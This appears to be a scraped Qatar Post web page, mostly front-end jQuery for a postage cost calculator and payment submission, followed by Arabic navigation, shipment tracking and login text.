                  enteredval = '0';
                } else {
                  enteredval = '0.';
                }
                $("#weight").val(enteredval);
              }
              if (enteredval != "" && $.isNumeric(enteredval) != true) {
                $("#weight").val(enteredval.slice(0, -1));
              }
              enteredval = enteredval.substring(enteredval.indexOf(".") + 1);
              var lengthval = enteredval.length;
              if ($("#weight").val() != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && lengthval > 3) $(this).val(parseFloat($(this).val()).toFixed(3));
                weightInKg = $(this).val();
              }
              //if(weightInKg > 1 && svcType == "Letter" && (subType == "Standard" || subType == "Express" || subType == "Global_priority")) $("#weight").val("1"), $(".bottomText").text("Weight can not be more than 1 KG"), weightInKg = 1;
              //------- BUG 1589,1590 START-----------------------
              if (svcType == "Letter" && subType == "Standard") {
                //$("#weight").val("1");
                //weightInKg = 1;
                //$("#weight").val("1000");
                //$("#weight").attr("placeholder", "Max Weight Allowed 1000 Grams");
                var grmval = $("#weight").val();
                weightInKg = parseFloat(grmval);
              }
              /*else if(weightInKg > 5 && svcType == "Letter" && subType == "Global_priority"){
              	 $("#weight").val("5");
              	 weightInKg = 5;
              }*/
              //------- BUG 1589,1590 END--------------------------
              if (isNaN(weightInKg) || weightInKg == "" || weightInKg == 0) { //$('.TotalForm .part3 .font-big').text("");
                $('.TotalForm .part3 .font-big').text("0");
                $('.TotalForm .part2 .text-right').text("0");
                $('#isweightexceed').val(0);
                $("#maxweighterr").hide();
                $("input[name=tracking]").prop("checked", false);
                weightInKg = "";
              }
              //BUG 1459	
              //if(!isNaN(weightInKg) || weightInKg != "") {
              if ((!isNaN(weightInKg) && weightInKg != "") && regfloatexp.test(weightInKg) && weightInKg != 0) {
                $("#weighterr").hide();
                if (weightInKg > maxLengthCheck) {
                  $('#isweightexceed').val(1);
                  $("#maxweighterr").show();
                  $('.TotalForm .part2 .rowParticular .text-right').text("");
                  $('.TotalForm .part3 .font-big.newtrackvalue').text("");
                  $('.mobile-price-view .right-col .newtrackvalue').text("");
                  return false;
                } else {
                  $('#isweightexceed').val(0);
                  $("#isweightexceed").hide();
                }
                //------- BUG 1589,1590 START-----------------------
                if (svcType == "Letter" && subType == "Standard") {
                  weightInKg = weightInKg / 1000;
                }
                //------- BUG 1589,1590 START-----------------------
                $('.TotalForm .part1 .selweight').html('<span class="font-big">' + weightInKg + $('#id_lblKglblGrams').val() + ' </span>');
                destination = $("#destination option:selected").text();
                // BUG 1433-Variable defined count
                var count = 0;
                for (var i = 0; i < regionArr.length; i++) {
                  if (destination === regionArr[i].Country) {
                    region = regionArr[i].Type;
                    count = "1";
                  }
                }
                count = "1";
                if (destination.includes("&")) {
                  destination = destination.replace("&", "%26");
                }
                // console.log("Region = " + region);
                //volumeInCubicCm = parseInt($("#dLength").val()) * parseInt($("#dWidth").val()) * parseInt($("#dHeight").val());
                if ($("#weight").val() != "" && weightInKg <= maxLengthCheck) {
                  if (svcType == "Package" && subType == "Standard" && count == "1" && destination != "") url = "/DigitalService/rest/calculateDiscountedPrice/priceStandardParcel?weightInKg=" + weightInKg + "&destination=" + destination +
                    "&channelType=Website";
                  else if (svcType == "Package" && subType == "Express" && count == "1" && destination != "") {
                    // console.log("within Package Express");
                    url = "/DigitalService/rest/calculateDiscountedPrice/priceEMS?weightInKg=" + weightInKg + "&destination=" + destination + "&channelType=Website";
                  }
                  //else if(svcType == "Package" && subType == "Global_priority" )
                  //	url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=10&itemType=" + svcType + "";
                  else if (svcType == "Letter" && subType == "Standard" && region != "") url = "/DigitalService/rest/calculateDiscountedPrice/priceGlobalMail?weightInKg=" + weightInKg + "&country=" + destination + "&channelType=Website";
                  else if (svcType == "Letter" && subType == "Express" && count == "1" && destination != "") {
                    //console.log("within Letter Express");
                    url = "/DigitalService/rest/calculateDiscountedPrice/priceEMS?weightInKg=" + weightInKg + "&destination=" + destination + "&channelType=Website";
                  }
                  //else if(svcType == "Letter" && subType == "Global_priority")
                  //url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone +"&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=10&itemType=" + svcType + "";
                  else if (subType == "Global_priority") {
                    if ($('#dLength').val() != null && $('#dLength').val() != "" && $('#dWidth').val() != null && $('#dWidth').val() != "" && $('#dHeight').val() != null && $('#dHeight').val() != "") {
                      var lengthval = $("#dLength").val();
                      var widthval = $("#dWidth").val();
                      var heightval = $("#dHeight").val();
                      if (lengthval != "" && $.isNumeric(lengthval) != true) {
                        $("#dLength").val(lengthval.slice(0, -1));
                      }
                      if (widthval != "" && $.isNumeric(widthval) != true) {
                        $("#dWidth").val(widthval.slice(0, -1));
                      }
                      if (heightval != "" && $.isNumeric(heightval) != true) {
                        $("#dHeight").val(heightval.slice(0, -1));
                      }
                      var enteredlen = lengthval.substring(lengthval.indexOf(".") + 1);
                      var enteredwid = widthval.substring(widthval.indexOf(".") + 1);
                      var enteredhei = heightval.substring(heightval.indexOf(".") + 1);
                      var lenDeciChar = enteredlen.length;
                      var widDeciChar = enteredwid.length;
                      var heiDeciChar = enteredhei.length;
                      if (lengthval != "") {
                        $(this).val($(this).val().replace(/[^\d.]/g, ''));
                        if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && lenDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                      }
                      if (widthval != "") {
                        $(this).val($(this).val().replace(/[^\d.]/g, ''));
                        if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && widDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                      }
                      if (heightval != "") {
                        $(this).val($(this).val().replace(/[^\d.]/g, ''));
                        if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && heiDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                      }
                      if (!isNaN(lengthval) && lengthval != "" && !isNaN(widthval) && widthval != "" && !isNaN(heightval) && heightval != "") {
                        volumeInCubicCm = parseInt(lengthval) * parseInt(widthval) * parseInt(heightval);
                        if ((svcType == "Letter" && volumeInCubicCm <= 25000) || svcType == "Package") {
                          if (zone != "undefined") {
                            if ($('#carepackageyes').is(':checked')) {
                              var carePackageamount = $('input[name=carePackageamount]').val();
                              if (carePackageamount != null && carePackageamount != "" && carePackageamount != 0) {
                                url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=" + carePackageamount +
                                  "&itemType=" + svcType + "&channelType=Website";
                              }
                            } else {
                              url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&itemType=" + svcType + "&channelType=Website";
                            }
                          }
                        }
                      }
                    }
                  }
                  //console.log("Calling PriceHandler :: " );
                  //console.log("URL :: " + url  );
                  //console.log("typePARAM :: " + typePARAM  );
                  //console.log("priceHandler :: " + priceHandler  );
                  if (subType != "Global_priority") {
                    getHandler(url, typePARAM, priceHandler);
                  } else {
                    if (destination != null && destination != "" && destination != "Choose destination" && url != "" & url != null) getHandler(url, typePARAM, priceHandler);
                  }
                }
                //console.log("Resetting Addons ");
                $(".pickCost").text("");
                $(".pickAddonBlock").hide();
                $(".wrapCost").text("");
                $(".wrapAddonBlock").hide();
                $(".receiptCost").text("");
                $(".homedeladdonblock").hide();
                $(".receiptAddonBlock").hide();
                $("#pickupselection").hide()
                $("input[name=pickup]").prop("checked", false);
                $("input[name=wrapping]").prop("checked", false);
                $("input[name=adviceReceipt]").prop("checked", false);
                //$("#crtOrder").removeAttr("disabled");
              }
            });
            //------Input shouldn't allow more decimals START ---
            function correctval(enteredval, elementid) {
              if (enteredval != "" && $.isNumeric(enteredval) != true) {
                $("#" + elementid).val(enteredval.slice(0, -1));
              }
              enteredval = enteredval.substring(enteredval.indexOf(".") + 1);
              return enteredval.length;
            }
            //------Input shouldn't allow more decimals END ---
            $("#dLength,#dWidth,#dHeight").bind("keyup", function(e) {
              weightInKg = ($('#weight').val() != null && $('#weight').val() != "") ? weightInKg : "";
              url = "";
              //getGlobalPriorityPrice start===
              var lengthval = $("#dLength").val();
              var widthval = $("#dWidth").val();
              var heightval = $("#dHeight").val();
              //------Input shouldn't allow more decimals START ---
              if (lengthval == '.') {
                lengthval = '0.';
                $("#dLength").val(lengthval);
              }
              if (widthval == '.') {
                widthval = '0.';
                $("#dWidth").val(widthval);
              }
              if (heightval == '.') {
                heightval = '0.';
                $("#dHeight").val(heightval);
              }
              if (lengthval != "" && $.isNumeric(lengthval) != true) {
                $("#dLength").val(lengthval.slice(0, -1));
              }
              if (widthval != "" && $.isNumeric(widthval) != true) {
                $("#dWidth").val(widthval.slice(0, -1));
              }
              if (heightval != "" && $.isNumeric(heightval) != true) {
                $("#dHeight").val(heightval.slice(0, -1));
              }
              var enteredlen = lengthval.substring(lengthval.indexOf(".") + 1);
              var enteredwid = widthval.substring(widthval.indexOf(".") + 1);
              var enteredhei = heightval.substring(heightval.indexOf(".") + 1);
              var lenDeciChar = enteredlen.length;
              var widDeciChar = enteredwid.length;
              var heiDeciChar = enteredhei.length;
              if (lengthval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && lenDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              if (widthval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && widDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              if (heightval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && heiDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              //------Input shouldn't allow more decimals END---
              if (!isNaN(lengthval) && lengthval != "" && !isNaN(widthval) && widthval != "" && !isNaN(heightval) && heightval != "") {
                //  console.log("lCube="+lengthval  + " widthval " +widthval + " heightval " + heightval );
                volumeInCubicCm = parseInt(lengthval) * parseInt(widthval) * parseInt(heightval);
                //volumeInCubicCm = parseInt($("#dLength").val()) * parseInt($("#dWidth").val()) * parseInt($("#dHeight").val());
                //console.log("volumeInCubicCm is:::--"+volumeInCubicCm + " zone:"+zone +"----");
                //BUG: 1433 ADDED NEW CONDITION (zone != "undefined" )
                var isCheckedRadioForCarePackage = $('#carepackageyes').is(':checked');
                var carePackageamount = $('input[name=carePackageamount]').val();
                //console.log('isCheckedRadioForCarePackage=='+isCheckedRadioForCarePackage);
                if ((svcType == "Letter" && volumeInCubicCm <= 25000) || svcType == "Package") {
                  $('#volumeerr').hide();
                  if (subType == "Global_priority" && zone != "undefined") {
                    if ((!isNaN(weightInKg) && weightInKg != "") && weightInKg != 0) {
                      if (isCheckedRadioForCarePackage == true) {
                        if (carePackageamount != null && carePackageamount != "" && carePackageamount != 0) {
                          //console.log( 'isCheckedRadioForCarePackage == true  Package' );
                          url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=" + carePackageamount + "&itemType=" +
                            svcType + "";
                        }
                      } else {
                        //console.log( 'isCheckedRadioForCarePackage == false  Package' );
                        url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&itemType=" + svcType + "";
                      }
                    }
                  }
                  //console.log("before handler"+url);
                  var selected = $("#destination option:selected").text();
                  //console.log('selected =='+selected );
                  if (selected != null && selected != "" && selected != "Choose destination" && url != "" & url != null) {
                    getHandler(url, typePARAM, priceHandler);
                  }
                  //console.log("after handler");
                } else {
                  $('#volumeerr').show();
                  $('.TotalForm .part2 .rowParticular .text-right').text("");
                  $('.TotalForm .part3 .font-big.newtrackvalue').text("");
                  $('.mobile-price-view .right-col .newtrackvalue').text("");
                }
              }
              //getGlobalPriorityPrice end===
            });
            $("input[name=carePackageamount]").bind("keyup", function(e) {
              var carePackageamount = $(this).val();
              weightInKg = ($('#weight').val() != null && $('#weight').val() != "") ? weightInKg : "";
              url = "";
              if ($('#carepackageyes').is(':checked')) {
                if (carePackageamount != null && carePackageamount != "" && carePackageamount != 0) {
                  $('#carePackageamountErr').hide();
                  var lengthval = $("#dLength").val();
                  var widthval = $("#dWidth").val();
                  var heightval = $("#dHeight").val();
                  if (lengthval != "" && $.isNumeric(lengthval) != true) {
                    $("#dLength").val(lengthval.slice(0, -1));
                  }
                  if (widthval != "" && $.isNumeric(widthval) != true) {
                    $("#dWidth").val(widthval.slice(0, -1));
                  }
                  if (heightval != "" && $.isNumeric(heightval) != true) {
                    $("#dHeight").val(heightval.slice(0, -1));
                  }
                  var enteredlen = lengthval.substring(lengthval.indexOf(".") + 1);
                  var enteredwid = widthval.substring(widthval.indexOf(".") + 1);
                  var enteredhei = heightval.substring(heightval.indexOf(".") + 1);
                  var lenDeciChar = enteredlen.length;
                  var widDeciChar = enteredwid.length;
                  var heiDeciChar = enteredhei.length;
                  if (lengthval != "") {
                    $(this).val($(this).val().replace(/[^\d.]/g, ''));
                    if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && lenDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                  }
                  if (widthval != "") {
                    $(this).val($(this).val().replace(/[^\d.]/g, ''));
                    if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && widDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                  }
                  if (heightval != "") {
                    $(this).val($(this).val().replace(/[^\d.]/g, ''));
                    if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && heiDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
                  }
                  if (!isNaN(lengthval) && lengthval != "" && !isNaN(widthval) && widthval != "" && !isNaN(heightval) && heightval != "") {
                    volumeInCubicCm = parseInt(lengthval) * parseInt(widthval) * parseInt(heightval);
                    if ((svcType == "Letter" && volumeInCubicCm <= 25000) || svcType == "Package") {
                      $('#volumeerr').hide();
                      if (subType == "Global_priority" && zone != "undefined") {
                        if ((!isNaN(weightInKg) && weightInKg != "") && weightInKg != 0 && ($('#isweightexceed').val() == 0)) {
                          url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=" + carePackageamount + "&itemType=" +
                            svcType + "";
                        }
                      }
                      //console.log("before handler"+url);
                      var selected = $("#destination option:selected").text();
                      //console.log('selected =='+selected );
                      if (selected != null && selected != "" && selected != "Choose destination" && url != "" & url != null) {
                        getHandler(url, typePARAM, priceHandler);
                      }
                      // console.log("after handler");
                    } else {
                      $('#volumeerr').show();
                    }
                  }
                } else {
                  //show careamount error
                  $('#carePackageamountErr').show();
                  $('.TotalForm .part3 .font-big').text("0");
                  $('.TotalForm .part2 .text-right').text("0");
                }
              }
            });
            $('input[type=radio][name=carePackage]').change(function() {
              weightInKg = ($('#weight').val() != null && $('#weight').val() != "") ? weightInKg : "";
              url = "";
              //getGlobalPriorityPrice start===
              var lengthval = $("#dLength").val();
              var widthval = $("#dWidth").val();
              var heightval = $("#dHeight").val();
              //------Input shouldn't allow more decimals START ---
              if (lengthval != "" && $.isNumeric(lengthval) != true) {
                $("#dLength").val(lengthval.slice(0, -1));
              }
              if (widthval != "" && $.isNumeric(widthval) != true) {
                $("#dWidth").val(widthval.slice(0, -1));
              }
              if (heightval != "" && $.isNumeric(heightval) != true) {
                $("#dHeight").val(heightval.slice(0, -1));
              }
              var enteredlen = lengthval.substring(lengthval.indexOf(".") + 1);
              var enteredwid = widthval.substring(widthval.indexOf(".") + 1);
              var enteredhei = heightval.substring(heightval.indexOf(".") + 1);
              var lenDeciChar = enteredlen.length;
              var widDeciChar = enteredwid.length;
              var heiDeciChar = enteredhei.length;
              if (lengthval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && lenDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              if (widthval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && widDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              if (heightval != "") {
                $(this).val($(this).val().replace(/[^\d.]/g, ''));
                if ($(this).val().indexOf(".") >= 1 && $(this).val().slice(-1) != "." && heiDeciChar > 2) $(this).val(parseFloat($(this).val()).toFixed(2));
              }
              //------Input shouldn't allow more decimals END---
              if (!isNaN(lengthval) && lengthval != "" && !isNaN(widthval) && widthval != "" && !isNaN(heightval) && heightval != "") {
                // console.log("lCube="+lengthval  + " widthval " +widthval + " heightval " + heightval );
                volumeInCubicCm = parseInt(lengthval) * parseInt(widthval) * parseInt(heightval);
                //volumeInCubicCm = parseInt($("#dLength").val()) * parseInt($("#dWidth").val()) * parseInt($("#dHeight").val());
                //console.log("volumeInCubicCm is:::--"+volumeInCubicCm + " zone:"+zone +"----");
                //BUG: 1433 ADDED NEW CONDITION (zone != "undefined" )
                var isCheckedRadioForCarePackage = $('#carepackageyes').is(':checked');
                var carePackageamount = $('input[name=carePackageamount]').val();
                //console.log('isCheckedRadioForCarePackage=='+isCheckedRadioForCarePackage);
                if ((svcType == "Letter" && volumeInCubicCm <= 25000) || svcType == "Package") {
                  $('#volumeerr').hide();
                  if (subType == "Global_priority" && zone != "undefined") {
                    if ((!isNaN(weightInKg) && weightInKg != "") && weightInKg != 0 && ($('#isweightexceed').val() == 0)) {
                      if (isCheckedRadioForCarePackage == true) {
                        if (carePackageamount != null && carePackageamount != "" && carePackageamount != 0) {
                          //console.log( 'isCheckedRadioForCarePackage == true  Package' );
                          url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&priceOfGoodForCarePackage=" + carePackageamount + "&itemType=" +
                            svcType + "";
                        }
                      } else {
                        $('#carePackageamountErr').hide();
                        //console.log( 'isCheckedRadioForCarePackage == false  Package' );
                        url = "/DigitalService/rest/calculateDiscountedPrice/priceGP?zone=" + zone + "&weightInKg=" + weightInKg + "&volumeInCubicCm=" + volumeInCubicCm + "&itemType=" + svcType + "";
                      }
                    }
                  }
                  //console.log("before handler"+url);
                  var selected = $("#destination option:selected").text();
                  //console.log('selected =='+selected );
                  if (selected != null && selected != "" && selected != "Choose destination" && url != "" & url != null) {
                    getHandler(url, typePARAM, priceHandler);
                  }
                  //console.log("after handler");
                } else {
                  $('#volumeerr').show();
                }
              }
              //getGlobalPriorityPrice end===
            });
          });
          $(document).on("click", ".payment_button", function(e) {
            if ($('.stage-9 input[type=checkbox]').is(':checked')) {
              $('#acceptTermErr').hide();
              if ($(".callcybersource").hasClass("payment-selectedstyle")) {
                //console.log("payment method selected");
                $("#paymentmodeErr").hide();
                $('#payment_confirmation').submit();
              } else {
                console.log("payment method not selected");
                $("#paymentmodeErr").show();
              }
            } else {
              console.log("accept uncheck");
              $('#acceptTermErr').show();
              return false;
            }
          });
          document.getElementById("callCyberS").addEventListener("click", makeClickable);

          function makeClickable() {
            //console.log("This is id of credit card");
          }
          $(document).on("click", ".callcybersource", function(e) {
            loadStart();
            sessionStorage.setItem("isPageRefreshed", 0);
            $("#paymentmodeErr").hide();
            $(this).toggleClass('payment-selectedstyle');
            var payamount = $('#finalamount').text();
            //console.log("Capturing Form Data........ ");
            var senderFullName = $("input[name=fullName]").val();
            var senderCity = $("select[name=city]").val();
            var senderCountry = "QA";
            var senderMobile = $("input[name=mobileNumber]").val();
            var senderEmail = $("input[name=email]").val();
            var language = $("#currentLocale").val();
            /*console.log('senderFullName===='+senderFullName);
            console.log('senderCity===='+senderCity);
            console.log('senderCountry===='+senderCountry);
            console.log('senderMobile===='+senderMobile);
            console.log('senderEmail===='+senderEmail);*/
            //read the values from the order form and save them in the DataBase
            //sender info
            //console.log("Productname :--- "+$("#ProductName").val());  
            sproductname = $("#ProductName").val();
            if ($('#selectedservicetype').val() != null && $('#selectedservicetype').val() != "") {
              destination = $('#selectedservicetype').val().trim();
            } else {
              destination = $('#selectedservicetype1').val().trim();
            }
            sfullName = $("input[name=fullName]").val();
            scity = $("select[name=city]").val();
            szoneNo = $("select[name=zoneNo]").val();
            sstreetName = $("select[name=streetName]").val();
            sbuildingName = $("select[name=buildingName]").val();
            svillaNo = $("input[name=villaNo]").val();
            sfloorNo = $("input[name=floorNo]").val();
            spoBox = $("input[name=poBox]").val();
            smobileNumber = $("input[name=mobileNumber]").val();
            semail = $("input[name=email]").val();
            //console.log("semail is:---"+semail);
            //Pickup Information
            pfullName = $("input[name=pfullname]").val();
            pcity = $("select[name=pcity]").val();
            pzoneNo = $("select[name=pzone]").val();
            pstreetName = $("select[name=pstreet]").val();
            pbuildingName = $("select[name=pbuilding]").val();
            pvillaNo = $("input[name=pvilla]").val();
            pfloorNo = $("input[name=pfloor]").val();
            ppoBox = $("input[name=ppobox]").val();
            pmobileNumber = $("input[name=pmobile]").val();
            pemail = $("input[name=pemail]").val();
            if ($('input[name=pickup]').is(':checked')) {
              pmobileNumber = smobileNumber;
              pfullName = sfullName;
              pcity = scity;
              pzoneNo = szoneNo;
              pstreetName = sstreetName;
              pbuildingName = sbuildingName;
              pvillaNo = svillaNo;
              pfloorNo = sfloorNo;
              ppoBox = spoBox;
              pemail = semail;
            }
            //Reciever infomation
            rfullName = $("input[name=rfullName]").val();
            rAddressLine1 = $("input[name=AddressLine1]").val();
            rAddressLine2 = $("input[name=AddressLine2]").val();
            rAddressLine2 = rAddressLine1 + rAddressLine2;
            rCity = $("select[name=rcity]").val();
            rState = $("input[name=State]").val();
            rmobileNumber = $("input[name=rmobileno]").val();
            if (rmobileNumber.length == 0) { // check for international/national and capture mobile properly
              rmobileNumber = "1234";
            }
            rEmail = $("input[name=remailadd]").val();
            rZip = $("input[name=Zip]").val();
            rZone = $("select[name=rzoneno]").val();
            rPOBOX = $("input[name=rpobox]").val();
            rStreet = $("select[name=rstreetno]").val();
            rBuildingno = $("select[name=rbuildingno]").val();
            rVillaNo = $("input[name=rvillano]").val();
            rFloorNo = $("input[name=rfloorno]").val();
            itemvalue = $("input[name=itemvalue]").val();
            itemDesc = $("#itemdesc").val();
            //PostingCountryCode = $("#destination").val();
            PostingCountryCode = "QA";
            weight = $('#weight').val();
            //console.log("PostingCountryCode selected is :---"+PostingCountryCode);
            //console.log("semail is:---"+semail);
            // Other informtion about order
            if ($('#pccalledfrom').val() === "DetailPage") {
              deliveryType = $('#serviceSubType1').val();
              Service_Type = $('#serviceType1').val();
              Shipment_Type = $('#serviceSubType1').val();
            } else {
              deliveryType = $('#serviceSubType').val();
              Service_Type = $('#serviceType').val();
              Shipment_Type = $('#serviceSubType').val();
            }
            if ($("input[name=adviceReceipt]").prop("checked") == true) {
              adviceReceipt = "true";
            }
            weight = $('#weight').val();
            Posting_CountryCode = "Qatar"; // check how to get the country code
            var orderInformation = {
              Sproductname: sproductname,
              Weight: weight,
              SfullName: sfullName,
              SenderCity: scity,
              SenderZone: szoneNo,
              SenderStreet: sstreetName,
              SenderBuilding: sbuildingName,
              SenderVilla: svillaNo,
              SenderFloor: sfloorNo,
              SenderPOBOX: spoBox,
              SenderMobile: smobileNumber,
              SenderEmail: semail,
              RecipientName: rfullName,
              RecipientCity: rCity,
              RecipientZone: rZone,
              RecipientStreet: rStreet,
              RecipientBuilding: rBuildingno,
              RecipientVilla: rVillaNo,
              RecipientFloor: rFloorNo,
              RecipientZip: rZip,
              RecipientPOBOX: rPOBOX,
              RecipientCountry: PostingCountryCode,
              RecipientID: "check",
              RecipientMobile: rmobileNumber,
              RecipientEmail: rEmail,
              RecipientAddress: rAddressLine2,
              RecipientState: rState,
              //DeliveryType : deliveryType,
              DeliveryType: "HomeDelivery",
              ItemDesc: itemDesc,
              PostingCountryCode: PostingCountryCode,
              ServiceType: Service_Type,
              PaymentType: "CreditCard",
              ShipmentType: Shipment_Type,
              MerchandiseType: Service_Type,
              CustomDeclarationCheck: spoBox,
              LithiumBatteryCheck: $('#lithiumBattery-checkbox').prop("checked") == true,
              ConsolidatedTermsandConditions: "true",
              UserId: "",
              OrderStatus: "created",
              Amount: $('#finalamount').text(),
              Destination: destination,
              ItemValue: itemvalue,
              AddonsInfo: "check",
              PfullName: pfullName,
              PickupCity: pcity,
              PickupZone: pzoneNo,
              PickupStreet: pstreetName,
              PickupBuilding: pbuildingName,
              PickupVilla: pvillaNo,
              PickupFloor: pfloorNo,
              PickupPOBOX: ppoBox,
              PickupMobile: pmobileNumber,
              PickupEmail: pemail,
              PickupDate: $(".stage-6 .left-panel-price-form input[name='pickupDate']").val(),
              pickupTime: $(".stage-6 .left-panel-price-form select[name='timeSlot']").val(),
              IssaveSender: $("#issavesender").val(),
              IssavePickup: $("#issavepickup").val(),
              IssaveDelivery: $("#issavedeliver").val()
            };
            var orderJSON = JSON.stringify(orderInformation);
            sessionStorage.setItem("OrderInfoJSON", orderJSON);
            var addonsselected = {
              enableWrapping: $('#wrapCheck').prop("checked") == true,
              adviceReceipt: $('#advicecheck').prop("checked") == true,
              pickUp: $('.pickup-checkbox').prop("checked") == true,
              HomeDelivery: $('#homedelivery').prop("checked") == true,
              POBox: $('#POBox').prop("checked") == true
            };
            var addonJSON = JSON.stringify(addonsselected);
            sessionStorage.setItem("AddonJSON", addonJSON);
            $.ajax({
              type: "POST",
              url: "/sites/Satellite?pagename=qpost_PaymentGatewayUtil&locale=en_QA&finalamount=" + payamount + "&senderFullName=" + senderFullName + "&senderCity=" + senderCity + "&senderCountry=" + senderCountry + "&senderMobile=" +
                senderMobile + "&senderEmail=" + senderEmail + "&language=" + language,
              success: function(res) {
                // console.log("Request Success "+res);	
                $(".payment_button").html(res);
                //console.log("dbResponse  ::::"+dbResponse);
              },
              error: function(res) {
                console.log("Request Failed ");
              }
            });
          });
          /*  paypal.Button.render({
              // Configure environment
              env: 'sandbox',
              client: {
                sandbox: 'AVyULJJgQT2BcE5zYa1oVyp6x2MsSBseFY7hTtkXyn44ybJykAErfpzfJcvA3CkxsafC8R7lbGrbhT3h',
                production: 'demo_production_client_id'
              },
              // Customize button (optional)
              locale: 'en_US',
              style: {
                size: 'small',
                color: 'gold',
                shape: 'pill',
              },
              // Set up a payment
              payment: function(data, actions) {
                return actions.payment.create({
                  transactions: [{
                    amount: {
                      total: '0.01',
                      currency: 'USD'
                    }
                  }]
                });
              },
              // Execute the payment
              onAuthorize: function(data, actions) {
                return actions.payment.execute().then(function() {
                  // Show a confirmation message to the buyer
                  window.alert('Thank you for your purchase!');
                });
              }
            }, '#paypal-button'); */
        </script>
      </div>
    </div>
  </section>
</form>

Text Content

عزيزي العميل ، سيتم إعادة تشغيل خدمة Zero Box الخاصة بنا اعتبارًا من الأربعاء 9
فبراير 2022 من خلال خدمة WhatsApp على الرقم 44464104
Toggle navigation X


  
×
كيف يمكننا مساعدتك اليوم؟



   
   
   
 * الأفراد
     
     
   * * إرسال
       
       
     * داخل قطر
       
       
       
       
       
       
     * خارج قطر
       
       
       
       
       
       
       
   * * إستلام
       
       
       
     * إدارة خدمات الإستلام
       
       
       
       
       
     * كونيكتيد
       
       
       
     * السوق التركي
       
       
       
       
       
       
       
   * * خدمة صندوق البريد
       
       
       
     * اشترك بخدمة صندوق البريد
       
       
       
     * إدارة خدماتي
       
       
       
     * أرقام صناديق البريد المميزة
       
       
       
     * خدمة التوصيل المنزلي
       
       
       
   * * خدمات أخرى
       
       
       
     * تحويل الأموال
       
       
       
       
       
 * اعمال
   
   
   
 * متجر
   
   
   
 * كونيكتيد
   
   
   
   
   
   
 * الاشتراك في صندوق البريد عبر الإنترنت
   
   
   
 * للتواصل
     
     
     
   * الاتصال ببريد قطر
     
     
     
   * فرع و ساعات العمل
     
     
     
   * طلب خدمة
     
     
     
     
     
     

Close
رقم تتبع الشحنه



JR61867440E

الحالة الحالية: Deliver item (Inb)









المتابعة
رقم تتبع الشحنه

تسجيل الدخول أو الاستمرار كضيف


NULL

إذا فقدت رقم التتبع الخاص بك ، يرجى الاتصال بمرسل الطرد الخاص بك

إذا قمت بإرسال الطرد مع بريد قطر ، يرجى الاتصال بنا على:

+974 4446400

نحن نسعى جاهدين لإنشاء أفضل خدمة لك. يمكنك العثور على الأسئلة الشائعة الأكثر
شيوعًا هنا:

خدمات بريدية
تسجيل الدخول هنا


WELCOME TO QATAR POST

تسجيل الدخول

USERNAME PASSWORD
هل نسيت كلمة المرور | انشاء حساب توثيق جديد
Login


خدمات بريد قطر



خدمات بريدية عصرية و مبتكرة صممت خصيصا لتلبية إحتياجاتكم



الاشتراك في صندوق البريد

احصل على صندوق البريد الخاص بك اونلاين

أرقام صناديق البريد المميزة

أحصل على رقم مميز

خدمة التوصيل المنزلي

 نقوم بتوصيل الطرود والرسائل مباشرة إلى منزلك

البريد السريع

توصيل سريع لطرودك

كونيكتيد

تسوق عبر الإنترنت ونحن سنقوم بتوصيلها إليك

متجرنا الإلكتروني

تسوق من متجرنا ونحن سنقوم بتوصيلها إليك



الخدمات البريدية


حاسبة التكلفة

داخل قطر

